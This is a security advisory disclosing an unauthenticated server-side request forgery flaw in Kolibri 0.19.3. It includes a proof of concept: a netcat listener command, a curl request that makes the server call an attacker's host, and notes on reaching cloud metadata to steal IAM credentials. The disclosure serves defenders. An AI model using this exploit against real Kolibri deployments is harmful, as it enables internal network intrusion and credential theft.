Advisory

GHSA-4mj9-pf4r-cqrc

Details, part 2 of 2. The advisory

Details

The only validation is that the URL has an http or https scheme and a valid hostname. There is no block on:

  • RFC 1918 private IPs (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16)
  • Loopback addresses (127.0.0.0/8, ::1)
  • Link-local addresses (169.254.0.0/16, including AWS/GCP/Azure metadata endpoints)
  • IPv6 equivalents of any of the above

PoC
Prerequisites: A listener on a host reachable by the Kolibri server (e.g., nc -lvp 1337) the listener can be local or remote.

Against a local Docker deployment (validated against Kolibri 0.19.3):

# Trigger the SSRF no auth headers needed
curl "http://localhost:8080/api/auth/remotefacilityuser?baseurl=http://172.17.0.1:1337&username=test&facility=<facility_id>"

The Kolibri server makes an outbound HTTP request to the attacker's listener:

GET /api/public/info/?v=3 HTTP/1.1
Host: 172.17.0.1:1337
User-Agent: Kolibri/0.19.3 python-requests/2.27.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

Testers have also confirmed the issue against live deployments of Kolibri.

Impact
Unauthenticated SSRF : any attacker who can reach the Kolibri server can make it issue HTTP requests to arbitrary hosts, with no credentials needed
Internal network scanning : the built-in port scanning behavior (5+ ports per HTTP target, 24+ connection attempts per request) allows mapping internal networks through the timing oracle
Cloud metadata access : if Kolibri runs on a cloud VM (AWS EC2, GCP, Azure), the attacker can reach 169.254.169.254 and potentially exfiltrate IAM credentials and instance metadata
Internal service discovery : other Kolibri instances or internal services on the network can be discovered and their API responses read by the attacker
Blind SSRF via POST endpoint : RemoteFacilityUserAuthenticatedViewset returns 403 to the attacker but still makes the outbound request before the permission check

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Sources & licences